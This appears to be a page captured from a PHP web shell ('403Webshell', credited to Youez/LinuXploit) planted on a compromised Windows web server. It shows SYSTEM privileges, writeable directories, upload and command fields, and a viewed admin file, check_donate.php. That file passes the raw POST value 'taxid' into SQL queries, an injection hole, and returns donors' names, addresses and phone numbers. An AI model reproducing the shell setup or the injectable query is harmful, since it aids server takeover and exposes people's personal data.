403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/csr/admin/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/news/csr/admin/pages//check_donate.php
<?php
require_once "../../include/config.php";
require_once "../../include/PasswordHash.php";
if(isset($_POST['taxid']))
{
 $taxid=$_POST['taxid'];
 //$donate=$_POST['donate'];

$sql= $mysqli->query("SELECT * FROM log_donate where username LIKE '$taxid%' OR fullname LIKE '%$taxid%' ");
//$total=mysqli_num_rows($sql);
 if(mysqli_num_rows($sql)>0) {
    $return_arr = array();
    while ($row=mysqli_fetch_array($sql)) {
        $row_array['u_donate'] = $row['username'];
        $row_array['u_name'] = $row['fullname'];
        $row_array['u_address'] = $row['adress'];
        $row_array['u_subdistrict'] = $row['subdistrict'];
        $row_array['u_district'] = $row['district'];
        $row_array['u_province'] = $row['province'];
        $row_array['u_postcode'] = $row['postcode'];
        $row_array['u_tel'] = $row['tel'];
        
        array_push($return_arr,$row_array);
    }
    echo json_encode($return_arr);
    exit;
 }
 else{
 $sql= $mysqli->query("SELECT * FROM tb_donated where u_donate LIKE '$taxid%' ");
//$total=mysqli_num_rows($sql);
 if(mysqli_num_rows($sql)>0) {
    $return_arr = array();
    while ($row=mysqli_fetch_array($sql)) {
        $row_array['u_donate'] = $row['u_donate'];
        $row_array['u_name'] = $row['u_name'];
        $row_array['u_address'] = $row['u_address'];
        $row_array['u_subdistrict'] = $row['u_subdistrict'];
        $row_array['u_district'] = $row['u_district'];
        $row_array['u_province'] = $row['u_province'];
        $row_array['u_postcode'] = $row['u_postcode'];
        $row_array['u_tel'] = $row['u_tel'];
        
        array_push($return_arr,$row_array);
    }
    echo json_encode($return_arr);
 }
 else{ 
     echo "[]"; 
    }
}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit